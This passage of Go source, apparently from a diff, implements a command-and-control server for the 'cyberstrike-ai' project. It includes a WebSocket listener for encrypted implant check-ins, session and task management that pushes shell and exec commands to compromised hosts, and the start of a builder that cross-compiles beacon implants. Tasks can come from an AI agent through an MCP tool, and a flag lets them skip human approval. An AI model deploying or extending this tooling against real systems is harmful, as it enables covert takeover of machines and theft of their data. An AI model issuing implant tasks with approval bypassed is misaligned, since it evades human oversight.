return &WebSocketListener{
rec: ctx.Listener,
cfg: ctx.Config,
manager: ctx.Manager,
logger: ctx.Logger,
stopCh: make(chan struct{}),
conns: make(map[string]*wsConn),
upgrader: websocket.Upgrader{
ReadBufferSize: 4096,
WriteBufferSize: 4096,
// 允许任意 Originimplant 不带 Origin 或随便填)
CheckOrigin: func(r *http.Request) bool { return true },
},
}, nil
}
// Type 类型
func (l *WebSocketListener) Type() string { return string(ListenerTypeWebSocket) }
// Start 启动 HTTP server 接收 WS 升级
func (l *WebSocketListener) Start() error {
mux := http.NewServeMux()
wsPath := l.cfg.BeaconCheckInPath
if wsPath == "" || wsPath == "/check_in" {
// websocket 默认路径单独定义,避免与 HTTP Beacon 默认路径混淆
wsPath = "/ws"
}
mux.HandleFunc(wsPath, l.handleWS)
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
ln, err := net.Listen("tcp", addr)
if err != nil {
if isAddrInUse(err) {
return ErrPortInUse
}
return err
}
l.srv = &http.Server{
Addr: addr,
Handler: mux,
ReadHeaderTimeout: 15 * time.Second,
}
go func() {
if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
l.logger.Warn("websocket Serve exited", zap.Error(err))
}
}()
go l.taskDispatcherLoop()
return nil
}
// Stop 优雅关闭:通知所有 WS 客户端,关闭 server
func (l *WebSocketListener) Stop() error {
l.mu.Lock()
if l.stopped {
l.mu.Unlock()
return nil
}
l.stopped = true
close(l.stopCh)
conns := make([]*wsConn, 0, len(l.conns))
for _, c := range l.conns {
conns = append(conns, c)
}
l.conns = make(map[string]*wsConn)
l.mu.Unlock()
for _, c := range conns {
_ = c.ws.WriteControl(websocket.CloseMessage,
websocket.FormatCloseMessage(websocket.CloseGoingAway, "shutdown"),
time.Now().Add(time.Second))
_ = c.ws.Close()
}
if l.srv != nil {
ctx, cancel := contextWithTimeout(5 * time.Second)
defer cancel()
_ = l.srv.Shutdown(ctx)
}
return nil
}
func (l *WebSocketListener) handleWS(w http.ResponseWriter, r *http.Request) {
got := r.Header.Get("X-Implant-Token")
if got == "" || l.rec.ImplantToken == "" ||
subtle.ConstantTimeCompare([]byte(got), []byte(l.rec.ImplantToken)) != 1 {
http.NotFound(w, r)
return
}
ws, err := l.upgrader.Upgrade(w, r, nil)
if err != nil {
l.logger.Warn("websocket 升级失败", zap.Error(err))
return
}
go l.handleConn(ws)
}
// handleConn 处理一个 WS 连接的完整生命周期:等待 checkin → 登记 session → 读循环
func (l *WebSocketListener) handleConn(ws *websocket.Conn) {
ws.SetReadLimit(64 << 20)
ws.SetReadDeadline(time.Now().Add(60 * time.Second))
ws.SetPongHandler(func(string) error {
ws.SetReadDeadline(time.Now().Add(60 * time.Second))
return nil
})
// 第一帧必须是 checkin
frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey)
if err != nil || frameType != "checkin" {
_ = ws.Close()
return
}
var req ImplantCheckInRequest
if err := json.Unmarshal(body, &req); err != nil {
_ = ws.Close()
return
}
if req.SleepSeconds <= 0 {
req.SleepSeconds = l.cfg.DefaultSleep
}
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
if err != nil {
_ = ws.Close()
return
}
conn := &wsConn{sessionID: session.ID, ws: ws}
l.mu.Lock()
l.conns[session.ID] = conn
l.mu.Unlock()
defer func() {
l.mu.Lock()
delete(l.conns, session.ID)
l.mu.Unlock()
_ = ws.Close()
_ = l.manager.MarkSessionDead(session.ID)
}()
// 心跳 goroutine
pingTicker := time.NewTicker(20 * time.Second)
defer pingTicker.Stop()
go func() {
for {
select {
case <-l.stopCh:
return
case <-pingTicker.C:
conn.writeMu.Lock()
_ = ws.WriteControl(websocket.PingMessage, nil, time.Now().Add(5*time.Second))
conn.writeMu.Unlock()
}
}
}()
// 主读循环:处理 result 等帧
for {
frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey)
if err != nil {
return
}
switch frameType {
case "result":
var report TaskResultReport
if err := json.Unmarshal(body, &report); err == nil {
_ = l.manager.IngestTaskResult(report)
}
case "checkin":
// 心跳更新:beacon 周期性送上心跳
var hb ImplantCheckInRequest
if err := json.Unmarshal(body, &hb); err == nil {
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
}
}
}
}
// taskDispatcherLoop 周期扫描所有活动 WS 会话,下发任务
func (l *WebSocketListener) taskDispatcherLoop() {
t := time.NewTicker(500 * time.Millisecond)
defer t.Stop()
for {
select {
case <-l.stopCh:
return
case <-t.C:
l.mu.Lock()
snapshot := make([]*wsConn, 0, len(l.conns))
for _, c := range l.conns {
snapshot = append(snapshot, c)
}
l.mu.Unlock()
for _, c := range snapshot {
envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 20)
if err != nil || len(envelopes) == 0 {
continue
}
for _, env := range envelopes {
l.sendTaskFrame(c, env)
}
}
}
}
}
func (l *WebSocketListener) sendTaskFrame(c *wsConn, env TaskEnvelope) {
frame := map[string]interface{}{"type": "task", "data": env}
body, err := json.Marshal(frame)
if err != nil {
return
}
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
if err != nil {
return
}
c.writeMu.Lock()
defer c.writeMu.Unlock()
_ = c.ws.SetWriteDeadline(time.Now().Add(10 * time.Second))
_ = c.ws.WriteMessage(websocket.TextMessage, []byte(enc))
}
// readEncryptedFrame 读一帧加密 WS 文本,返回类型和明文 data
func readEncryptedFrame(ws *websocket.Conn, key string) (string, []byte, error) {
mt, raw, err := ws.ReadMessage()
if err != nil {
return "", nil, err
}
if mt != websocket.TextMessage && mt != websocket.BinaryMessage {
return "", nil, errors.New("unexpected ws frame type")
}
plain, err := DecryptAESGCM(key, string(raw))
if err != nil {
return "", nil, err
}
var env struct {
Type string `json:"type"`
Data json.RawMessage `json:"data"`
}
if err := json.Unmarshal(plain, &env); err != nil {
return "", nil, err
}
return env.Type, env.Data, nil
}
// contextWithTimeout 简单封装,避免 listener 文件之间反复 import context
func contextWithTimeout(d time.Duration) (context.Context, context.CancelFunc) {
return context.WithTimeout(context.Background(), d)
}
+777
View File
@@ -0,0 +1,777 @@
package c2
import (
"context"
"encoding/json"
"errors"
"fmt"
"path/filepath"
"regexp"
"strings"
"sync"
"time"
"cyberstrike-ai/internal/database"
"github.com/google/uuid"
"go.uber.org/zap"
)
// Manager 是 C2 模块对外的统一门面:
// - HTTP handler / MCP 工具 / 多代理 / 攻击链记录器 全部通过 Manager 操作 C2
// 不直接接触 listener 实现细节,避免循环依赖;
// - 持有数据库句柄 + 事件总线 + 内存中的 listener 实例 map
// - 启动期可调用 RestoreRunningListeners() 把 status=running 的 listener 重新拉起。
//
// 实例化由 internal/app 负责,注入到全局 App 之后再分别交给 handler / mcp.
type Manager struct {
db *database.DB
logger *zap.Logger
bus *EventBus
registry *ListenerRegistry
mu sync.RWMutex
runningListeners map[string]Listener // listener_id → 已 Start 的 listener 实例
storageDir string // 大结果(截图/下载)落盘根目录
hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批(nil 表示不接 HITL)
hitlDangerousGate func(conversationID, mcpToolName string) bool // 与人机协同一致:为 nil 或返回 false 时不走桥
hooks Hooks // 扩展挂钩:会话上线 / 任务完成 时通知漏洞库与攻击链
}
// MCPToolC2Task 与 MCP builtin、c2_task 工具名一致,供 HITL 白名单与 Agent 侧对齐。
const MCPToolC2Task = "c2_task"
// HITLBridge 把"危险任务"桥到现有 internal/handler/hitl 审批流的接口。
// internal/app 实例化时传入;空实现表示禁用 HITL 拦截(开发期方便)。
type HITLBridge interface {
// RequestApproval 阻塞等待人工审批;返回 nil 表示批准,error 表示拒绝/超时。
// ctx 携带用户/会话信息;危险任务调用时会创建超时 ctx 避免无限挂起。
RequestApproval(ctx context.Context, req HITLApprovalRequest) error
}
// HITLApprovalRequest 待审批的 C2 操作描述
type HITLApprovalRequest struct {
TaskID string
SessionID string
TaskType string
PayloadJSON string
ConversationID string
Source string
Reason string
}
// Hooks 给上层(漏洞管理 / 攻击链)注入回调
type Hooks struct {
OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线
OnTaskCompleted func(task *database.C2Task, sessionID string) // 任务完成(success/failed
}
// NewManager 创建 Manager;不会启动任何 listener,请显式调 RestoreRunningListeners
func NewManager(db *database.DB, logger *zap.Logger, storageDir string) *Manager {
if logger == nil {
logger = zap.NewNop()
}
if storageDir == "" {
storageDir = "tmp/c2"
}
return &Manager{
db: db,
logger: logger,
bus: NewEventBus(),
registry: NewListenerRegistry(),
runningListeners: make(map[string]Listener),
storageDir: storageDir,
}
}
// SetHITLBridge 设置危险任务审批桥;nil 表示禁用
func (m *Manager) SetHITLBridge(b HITLBridge) {
m.mu.Lock()
m.hitlBridge = b
m.mu.Unlock()
}
// SetHITLDangerousGate 设置 C2 危险任务是否应走 HITL 桥;须与 Agent 人机协同判定一致(例如 handler.HITLManager.NeedsToolApproval)。
// gate 为 nil 时,即使已设置桥也不会对危险任务发起审批(与未开启人机协同时其他工具行为一致)。
func (m *Manager) SetHITLDangerousGate(gate func(conversationID, mcpToolName string) bool) {
m.mu.Lock()
m.hitlDangerousGate = gate
m.mu.Unlock()
}
// SetHooks 注入业务钩子
func (m *Manager) SetHooks(h Hooks) {
m.mu.Lock()
m.hooks = h
m.mu.Unlock()
}
// EventBus 暴露事件总线给 SSE handler
func (m *Manager) EventBus() *EventBus { return m.bus }
// DB 暴露 DB 句柄给 handler/mcptools 直接读写(避免到处包装)
func (m *Manager) DB() *database.DB { return m.db }
// Logger 暴露日志句柄
func (m *Manager) Logger() *zap.Logger { return m.logger }
// StorageDir 大结果落盘根目录
func (m *Manager) StorageDir() string { return m.storageDir }
// Registry 暴露 listener 注册表,便于在 internal/app 启动时按 type 注册具体实现
func (m *Manager) Registry() *ListenerRegistry { return m.registry }
// Close 优雅关闭:停掉所有运行中的 listener,关闭事件总线
func (m *Manager) Close() {
m.mu.Lock()
listeners := make([]Listener, 0, len(m.runningListeners))
for _, l := range m.runningListeners {
listeners = append(listeners, l)
}
m.runningListeners = make(map[string]Listener)
m.mu.Unlock()
for _, l := range listeners {
_ = l.Stop()
}
m.bus.Close()
}
// ----------------------------------------------------------------------------
// Listener 生命周期
// ----------------------------------------------------------------------------
// CreateListenerInput Web/MCP 创建监听器的入参(已校验 + 已 trim)
type CreateListenerInput struct {
Name string
Type string
BindHost string
BindPort int
ProfileID string
Remark string
Config *ListenerConfig
// CallbackHost 非空时写入 config_json.callback_host,供 Payload 默认回连(不修改 bind
CallbackHost string
}
// CreateListener 校验并落库;不自动启动(与 systemd unit 一致:先创建后启动)
func (m *Manager) CreateListener(in CreateListenerInput) (*database.C2Listener, error) {
if strings.TrimSpace(in.Name) == "" {
return nil, ErrInvalidInput
}
if !IsValidListenerType(in.Type) {
return nil, ErrUnsupportedType
}
if err := SafeBindPort(in.BindPort); err != nil {
return nil, &CommonError{Code: "invalid_port", Message: err.Error(), HTTP: 400}
}
bindHost := strings.TrimSpace(in.BindHost)
if bindHost == "" {
bindHost = "127.0.0.1" // 默认绑定环回,需要外网时操作员显式改
}
cfg := in.Config
if cfg == nil {
cfg = &ListenerConfig{}
} else {
cp := *cfg
cfg = &cp
}
if ch := strings.TrimSpace(in.CallbackHost); ch != "" {
cfg.CallbackHost = ch
}
cfg.ApplyDefaults()
cfgJSON, err := json.Marshal(cfg)
if err != nil {
return nil, fmt.Errorf("marshal listener config: %w", err)
}
keyB64, err := GenerateAESKey()
if err != nil {
return nil, fmt.Errorf("generate key: %w", err)
}
tokenB64, err := GenerateImplantToken()
if err != nil {
return nil, fmt.Errorf("generate token: %w", err)
}
listener := &database.C2Listener{
ID: "l_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
Name: strings.TrimSpace(in.Name),
Type: strings.ToLower(strings.TrimSpace(in.Type)),
BindHost: bindHost,
BindPort: in.BindPort,
ProfileID: strings.TrimSpace(in.ProfileID),
EncryptionKey: keyB64,
ImplantToken: tokenB64,
Status: "stopped",
ConfigJSON: string(cfgJSON),
Remark: strings.TrimSpace(in.Remark),
CreatedAt: time.Now(),
}
if err := m.db.CreateC2Listener(listener); err != nil {
return nil, err
}
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已创建", listener.Name), map[string]interface{}{
"listener_id": listener.ID,
"type": listener.Type,
})
return listener, nil
}
// StartListener 启动指定 listener;幂等(已运行时返回 ErrListenerRunning
func (m *Manager) StartListener(id string) (*database.C2Listener, error) {
rec, err := m.db.GetC2Listener(id)
if err != nil {
return nil, err
}
if rec == nil {
return nil, ErrListenerNotFound
}
m.mu.Lock()
if _, ok := m.runningListeners[id]; ok {
m.mu.Unlock()
return rec, ErrListenerRunning
}
m.mu.Unlock()
cfg := &ListenerConfig{}
if rec.ConfigJSON != "" {
_ = json.Unmarshal([]byte(rec.ConfigJSON), cfg)
}
cfg.ApplyDefaults()
// 通过工厂创建具体实现
factory := m.registry.Get(rec.Type)
if factory == nil {
return nil, ErrUnsupportedType
}
inst, err := factory(ListenerCreationCtx{
Listener: rec,
Config: cfg,
Manager: m,
Logger: m.logger.With(zap.String("listener_id", rec.ID), zap.String("type", rec.Type)),
})
if err != nil {
return nil, err
}
if err := inst.Start(); err != nil {
now := time.Now()
_ = m.db.SetC2ListenerStatus(rec.ID, "error", err.Error(), &now)
m.publishEvent("warn", "listener", "", "", fmt.Sprintf("监听器 %s 启动失败: %v", rec.Name, err), map[string]interface{}{
"listener_id": rec.ID,
})
return nil, err
}
m.mu.Lock()
m.runningListeners[rec.ID] = inst
m.mu.Unlock()
now := time.Now()
_ = m.db.SetC2ListenerStatus(rec.ID, "running", "", &now)
rec.Status = "running"
rec.StartedAt = &now
rec.LastError = ""
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已启动", rec.Name), map[string]interface{}{
"listener_id": rec.ID,
"bind": fmt.Sprintf("%s:%d", rec.BindHost, rec.BindPort),
})
return rec, nil
}
// StopListener 停止;幂等(未运行时返回 ErrListenerStopped
func (m *Manager) StopListener(id string) error {
m.mu.Lock()
inst, ok := m.runningListeners[id]
if ok {
delete(m.runningListeners, id)
}
m.mu.Unlock()
if !ok {
return ErrListenerStopped
}
if err := inst.Stop(); err != nil {
return err
}
_ = m.db.SetC2ListenerStatus(id, "stopped", "", nil)
rec, _ := m.db.GetC2Listener(id)
name := id
if rec != nil {
name = rec.Name
}
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已停止", name), map[string]interface{}{
"listener_id": id,
})
return nil
}
// DeleteListener 停止并删除(级联 sessions/tasks/files
func (m *Manager) DeleteListener(id string) error {
_ = m.StopListener(id)
return m.db.DeleteC2Listener(id)
}
// IsListenerRunning 内存中的运行状态(DB 中的 status 可能因崩溃而过时)
func (m *Manager) IsListenerRunning(id string) bool {
m.mu.RLock()
defer m.mu.RUnlock()
_, ok := m.runningListeners[id]
return ok
}
// RestoreRunningListeners 启动期把 DB 中 status=running 的 listener 重新拉起;
// 失败的会被改为 status=error,不会阻塞整个 App 启动。
func (m *Manager) RestoreRunningListeners() {
listeners, err := m.db.ListC2Listeners()
if err != nil {
m.logger.Warn("恢复 C2 listener 失败:列表查询出错", zap.Error(err))
return
}
for _, l := range listeners {
if l.Status != "running" {
continue
}
if _, err := m.StartListener(l.ID); err != nil && !errors.Is(err, ErrListenerRunning) {
m.logger.Warn("恢复 C2 listener 失败", zap.String("listener_id", l.ID), zap.Error(err))
}
}
}
// ----------------------------------------------------------------------------
// Session 生命周期
// ----------------------------------------------------------------------------
// IngestCheckIn beacon 上线/心跳的统一入口。
// 行为:
// 1. 若 implant_uuid 已有会话 → 更新心跳/状态
// 2. 否则创建新会话,触发 OnSessionFirstSeen 钩子
func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*database.C2Session, error) {
if strings.TrimSpace(req.ImplantUUID) == "" {
return nil, ErrInvalidInput
}
existing, err := m.db.GetC2SessionByImplantUUID(req.ImplantUUID)
if err != nil {
return nil, err
}
now := time.Now()
isFirstSeen := existing == nil
var sessID string
if existing != nil {
sessID = existing.ID
} else {
sessID = "s_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
}
session := &database.C2Session{
ID: sessID,
ListenerID: listenerID,
ImplantUUID: req.ImplantUUID,
Hostname: req.Hostname,
Username: req.Username,
OS: strings.ToLower(req.OS),
Arch: strings.ToLower(req.Arch),
PID: req.PID,
ProcessName: req.ProcessName,
IsAdmin: req.IsAdmin,
InternalIP: req.InternalIP,
UserAgent: req.UserAgent,
SleepSeconds: req.SleepSeconds,
JitterPercent: req.JitterPercent,
Status: string(SessionActive),
FirstSeenAt: now,
LastCheckIn: now,
Metadata: req.Metadata,
}
if existing != nil {
// 保留原 ID/FirstSeenAt/Note,避免被覆盖
session.FirstSeenAt = existing.FirstSeenAt
if session.Note == "" {
session.Note = existing.Note
}
}
if err := m.db.UpsertC2Session(session); err != nil {
return nil, err
}
if isFirstSeen {
m.publishEvent("critical", "session", session.ID, "",
fmt.Sprintf("新会话上线: %s@%s (%s/%s)", session.Username, session.Hostname, session.OS, session.Arch),
map[string]interface{}{
"session_id": session.ID,
"listener_id": listenerID,
"hostname": session.Hostname,
"os": session.OS,
"arch": session.Arch,
"internal_ip": session.InternalIP,
})
m.mu.RLock()
hook := m.hooks.OnSessionFirstSeen
m.mu.RUnlock()
if hook != nil {
go hook(session)
}
}
// 普通心跳:last_check_in 已由 UpsertC2Session 写入 c2_sessions,不再落 c2_events。
// 否则按 sleep 周期每条心跳一条审计,库表与 SSE 会被迅速撑爆;上线/掉线等仍照常 publishEvent。
return session, nil
}
// MarkSessionDead 心跳超时检测器调用:标记会话为 dead
func (m *Manager) MarkSessionDead(sessionID string) error {
if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {
return err
}
m.publishEvent("warn", "session", sessionID, "", "会话已离线(心跳超时)", nil)
return nil
}
// ----------------------------------------------------------------------------
// Task 生命周期
// ----------------------------------------------------------------------------
// EnqueueTaskInput 下发任务入参
type EnqueueTaskInput struct {
SessionID string
TaskType TaskType
Payload map[string]interface{}
Source string // manual|ai|batch|api
ConversationID string
UserCtx context.Context // 给 HITL 用
BypassHITL bool // true 表示跳过 HITL 审批(仅供白名单机制 / 系统内部用)
}
// EnqueueTask 入队一个新任务;若任务类型危险且未 BypassHITL,且 SetHITLDangerousGate 对当前会话与 MCPToolC2Task 返回 true,才会调 HITL 桥审批。
// 返回任务记录;任务派发由 PopTasksForBeacon 在 beacon 拉任务时完成。
func (m *Manager) EnqueueTask(in EnqueueTaskInput) (*database.C2Task, error) {
if strings.TrimSpace(in.SessionID) == "" {
return nil, ErrInvalidInput
}
session, err := m.db.GetC2Session(in.SessionID)
if err != nil {
return nil, err
}
if session == nil {
return nil, ErrSessionNotFound
}
if session.Status == string(SessionDead) || session.Status == string(SessionKilled) {
return nil, &CommonError{Code: "session_inactive", Message: "会话已离线,无法下发任务", HTTP: 409}
}
// OPSEC: command deny regex enforcement
if in.TaskType == TaskTypeExec || in.TaskType == TaskTypeShell {
cmd, _ := in.Payload["command"].(string)
if cmd != "" {
listenerCfg := m.getListenerConfig(session.ListenerID)
if listenerCfg != nil {
for _, pattern := range listenerCfg.CommandDenyRegex {
re, err := regexp.Compile(pattern)
if err != nil {
m.logger.Warn("invalid command_deny_regex", zap.String("pattern", pattern), zap.Error(err))
continue
}
if re.MatchString(cmd) {
return nil, &CommonError{
Code: "command_denied",
Message: fmt.Sprintf("命令被 OPSEC 规则拒绝 (匹配: %s)", pattern),
HTTP: 403,
}
}
}
}
}
}
// OPSEC: max_concurrent_tasks enforcement
listenerCfg := m.getListenerConfig(session.ListenerID)
if listenerCfg != nil && listenerCfg.MaxConcurrentTasks > 0 {
activeTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{
SessionID: in.SessionID,
Status: string(TaskQueued),
})
sentTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{
SessionID: in.SessionID,
Status: string(TaskSent),
})
concurrent := len(activeTasks) + len(sentTasks)
if concurrent >= listenerCfg.MaxConcurrentTasks {
return nil, &CommonError{
Code: "concurrent_limit",
Message: fmt.Sprintf("会话已有 %d 个排队/执行中的任务,超过并发上限 %d", concurrent, listenerCfg.MaxConcurrentTasks),
HTTP: 429,
}
}
}
taskID := "t_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
task := &database.C2Task{
ID: taskID,
SessionID: in.SessionID,
TaskType: string(in.TaskType),
Payload: in.Payload,
Status: string(TaskQueued),
Source: strOr(in.Source, "manual"),
ConversationID: in.ConversationID,
CreatedAt: time.Now(),
}
// HITL 检查:仅当注入的 gate 认为当前会话应对统一 MCP 工具 c2_task 做人机协同时才走桥(关闭人机协同时与其它工具一致,直接入队)。
if IsDangerousTaskType(in.TaskType) && !in.BypassHITL {
m.mu.RLock()
bridge := m.hitlBridge
gate := m.hitlDangerousGate
m.mu.RUnlock()
convID := strings.TrimSpace(in.ConversationID)
useBridge := bridge != nil && gate != nil && gate(convID, MCPToolC2Task)
if useBridge {
task.ApprovalStatus = "pending"
if err := m.db.CreateC2Task(task); err != nil {
return nil, err
}
m.publishEvent("warn", "task", in.SessionID, taskID, fmt.Sprintf("危险任务待审批: %s", in.TaskType), map[string]interface{}{
"task_id": taskID,
"task_type": in.TaskType,
})
payloadBytes, _ := json.Marshal(in.Payload)
ctx := HITLUserContext(in.UserCtx)
if ctx == nil {
ctx = context.Background()
}
go func() {
err := bridge.RequestApproval(ctx, HITLApprovalRequest{
TaskID: taskID,
SessionID: in.SessionID,
TaskType: string(in.TaskType),
PayloadJSON: string(payloadBytes),
ConversationID: in.ConversationID,
Source: task.Source,
Reason: fmt.Sprintf("C2 危险任务 %s", in.TaskType),
})
if err != nil {
rejected := "rejected"
failed := string(TaskFailed)
errMsg := "HITL 拒绝: " + err.Error()
_ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{
ApprovalStatus: &rejected,
Status: &failed,
Error: &errMsg,
})
m.publishEvent("warn", "task", in.SessionID, taskID, errMsg, nil)
return
}
approved := "approved"
_ = m.db.UpdateC2Task(taskID, database.C2TaskUpdate{ApprovalStatus: &approved})
m.publishEvent("info", "task", in.SessionID, taskID, "危险任务已批准", nil)
}()
return task, nil
}
// 未接桥或会话未开启人机协同 / 工具在白名单:直接入队
task.ApprovalStatus = "approved"
}
if err := m.db.CreateC2Task(task); err != nil {
return nil, err
}
m.publishEvent("info", "task", in.SessionID, taskID, fmt.Sprintf("任务已入队: %s", in.TaskType), map[string]interface{}{
"task_id": taskID,
"task_type": in.TaskType,
"source": task.Source,
})
return task, nil
}
// CancelTask 取消队列中的任务(已 sent/running 的暂不支持回滚)
func (m *Manager) CancelTask(taskID string) error {
t, err := m.db.GetC2Task(taskID)
if err != nil {
return err
}
if t == nil {
return ErrTaskNotFound
}
if t.Status != string(TaskQueued) && t.Status != string(TaskSent) {
return &CommonError{Code: "task_running", Message: "任务已在执行,无法取消", HTTP: 409}
}
cancelled := string(TaskCancelled)
now := time.Now()
if err := m.db.UpdateC2Task(taskID, database.C2TaskUpdate{Status: &cancelled, CompletedAt: &now}); err != nil {
return err
}
m.publishEvent("info", "task", t.SessionID, taskID, "任务已取消", nil)
return nil
}
// PopTasksForBeacon beacon check_in 后调用:取该会话所有 queued+approved 的任务,
// 内部已置为 sent;返回 TaskEnvelope,便于 listener 直接编码下发。
func (m *Manager) PopTasksForBeacon(sessionID string, limit int) ([]TaskEnvelope, error) {
tasks, err := m.db.PopQueuedC2Tasks(sessionID, limit)
if err != nil {
return nil, err
}
out := make([]TaskEnvelope, 0, len(tasks))
for _, t := range tasks {
out = append(out, TaskEnvelope{TaskID: t.ID, TaskType: t.TaskType, Payload: t.Payload})
}
return out, nil
}
// IngestTaskResult beacon 回传任务结果的统一入口
func (m *Manager) IngestTaskResult(report TaskResultReport) error {
if strings.TrimSpace(report.TaskID) == "" {
return ErrInvalidInput
}
t, err := m.db.GetC2Task(report.TaskID)
if err != nil {
return err
}
if t == nil {
return ErrTaskNotFound
}
startedAt := time.Unix(0, report.StartedAt*int64(time.Millisecond))
endedAt := time.Unix(0, report.EndedAt*int64(time.Millisecond))
if report.StartedAt == 0 {
startedAt = time.Now()
}
if report.EndedAt == 0 {
endedAt = time.Now()
}
status := string(TaskSuccess)
if !report.Success {
status = string(TaskFailed)
}
duration := endedAt.Sub(startedAt).Milliseconds()
upd := database.C2TaskUpdate{
Status: &status,
ResultText: &report.Output,
Error: &report.Error,
StartedAt: &startedAt,
CompletedAt: &endedAt,
DurationMS: &duration,
}
// blob(如截图)落盘
if len(report.BlobBase64) > 0 {
blobPath, err := m.saveResultBlob(t.ID, report.BlobBase64, report.BlobSuffix)
if err == nil {
upd.ResultBlobPath = &blobPath
} else {
m.logger.Warn("结果 blob 落盘失败", zap.Error(err), zap.String("task_id", t.ID))
}
}
if err := m.db.UpdateC2Task(t.ID, upd); err != nil {
return err
}
t.Status = status
t.ResultText = report.Output
t.Error = report.Error
level := "info"
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
if !report.Success {
level = "warn"
msg = fmt.Sprintf("任务失败: %s (%s)", t.TaskType, report.Error)
}
m.publishEvent(level, "task", t.SessionID, t.ID, msg, map[string]interface{}{
"task_id": t.ID,
"task_type": t.TaskType,
"duration": duration,
})
m.mu.RLock()
hook := m.hooks.OnTaskCompleted
m.mu.RUnlock()
if hook != nil {
go hook(t, t.SessionID)
}
return nil
}
func (m *Manager) saveResultBlob(taskID, b64Content, suffix string) (string, error) {
suffix = strings.TrimSpace(suffix)
if suffix == "" {
suffix = ".bin"
}
if !strings.HasPrefix(suffix, ".") {
suffix = "." + suffix
}
dir := filepath.Join(m.storageDir, "results")
if err := osMkdirAll(dir, 0o755); err != nil {
return "", err
}
path := filepath.Join(dir, taskID+suffix)
data, err := base64Decode(b64Content)
if err != nil {
return "", err
}
if err := osWriteFile(path, data, 0o644); err != nil {
return "", err
}
return path, nil
}
// ----------------------------------------------------------------------------
// 事件总线辅助
// ----------------------------------------------------------------------------
// publishEvent 同步写 c2_events 表 + 投放到内存事件总线
func (m *Manager) publishEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) {
id := "e_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
now := time.Now()
e := &database.C2Event{
ID: id,
Level: level,
Category: category,
SessionID: sessionID,
TaskID: taskID,
Message: message,
Data: data,
CreatedAt: now,
}
if err := m.db.AppendC2Event(e); err != nil {
m.logger.Warn("写 C2 事件失败", zap.Error(err), zap.String("category", category))
}
m.bus.Publish(&Event{
ID: id,
Level: level,
Category: category,
SessionID: sessionID,
TaskID: taskID,
Message: message,
Data: data,
CreatedAt: now,
})
}
// PublishCustomEvent 给外部组件(HITL 桥 / handler)写自定义事件用
func (m *Manager) PublishCustomEvent(level, category, sessionID, taskID, message string, data map[string]interface{}) {
m.publishEvent(level, category, sessionID, taskID, message, data)
}
// ----------------------------------------------------------------------------
// 工具函数
// ----------------------------------------------------------------------------
func strOr(s, def string) string {
if strings.TrimSpace(s) == "" {
return def
}
return s
}
// getListenerConfig loads and parses the listener's config JSON from DB.
func (m *Manager) getListenerConfig(listenerID string) *ListenerConfig {
listener, err := m.db.GetC2Listener(listenerID)
if err != nil || listener == nil {
return nil
}
cfg := &ListenerConfig{}
if listener.ConfigJSON != "" && listener.ConfigJSON != "{}" {
_ = json.Unmarshal([]byte(listener.ConfigJSON), cfg)
}
return cfg
}
// GetProfile loads a C2Profile from DB by ID.
func (m *Manager) GetProfile(profileID string) (*database.C2Profile, error) {
if strings.TrimSpace(profileID) == "" {
return nil, nil
}
return m.db.GetC2Profile(profileID)
}
+308
View File
@@ -0,0 +1,308 @@
package c2
import (
"encoding/json"
"fmt"
"net"
"os"
"strconv"
"os/exec"
"path/filepath"
"strings"
"text/template"
"github.com/google/uuid"
"go.uber.org/zap"
)
// PayloadBuilderInput 构建 beacon 的输入参数
type PayloadBuilderInput struct {
ListenerID string // l_xxx
OS string // linux|windows|darwin
Arch string // amd64|arm64|386
SleepSeconds int
JitterPercent int
OutputName string // custom output filename (without extension); defaults to "beacon_<os>_<arch>"
// Host 非空时作为植入端回连地址(覆盖监听器的 bind_host / 0.0.0.0 自动探测)
Host string
}
// PayloadBuilder 负责从模板生成并交叉编译 beacon 二进制
type PayloadBuilder struct {
manager *Manager
logger *zap.Logger
tmplDir string // 模板目录,如 internal/c2/payload_templates
outputDir string // 输出目录,如 tmp/c2/payloads
}
// NewPayloadBuilder 创建构建器
func NewPayloadBuilder(manager *Manager, logger *zap.Logger, tmplDir, outputDir string) *PayloadBuilder {
if tmplDir == "" {
tmplDir = "internal/c2/payload_templates"
}
if outputDir == "" {
outputDir = "tmp/c2/payloads"
}
return &PayloadBuilder{
manager: manager,
logger: logger,
tmplDir: tmplDir,
outputDir: outputDir,
}
}
// BuildResult 构建结果
type BuildResult struct {
PayloadID string `json:"payload_id"`
ListenerID string `json:"listener_id"`
OutputPath string `json:"output_path"`
DownloadPath string `json:"download_path"` // 磁盘上的绝对路径
OS string `json:"os"`
Arch string `json:"arch"`
SizeBytes int64 `json:"size_bytes"`
}
// BuildBeacon 交叉编译生成 beacon 二进制
func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, error) {
listener, err := b.manager.DB().GetC2Listener(in.ListenerID)
if err != nil {
return nil, fmt.Errorf("get listener: %w", err)
}
if listener == nil {
return nil, ErrListenerNotFound
}
lt := strings.ToLower(listener.Type)
cfg := &ListenerConfig{}
if listener.ConfigJSON != "" {
_ = parseJSON(listener.ConfigJSON, cfg)
}
cfg.ApplyDefaults()
// 确定目标架构
goos := strings.ToLower(in.OS)
goarch := strings.ToLower(in.Arch)
if goos == "" {
goos = "linux"
}
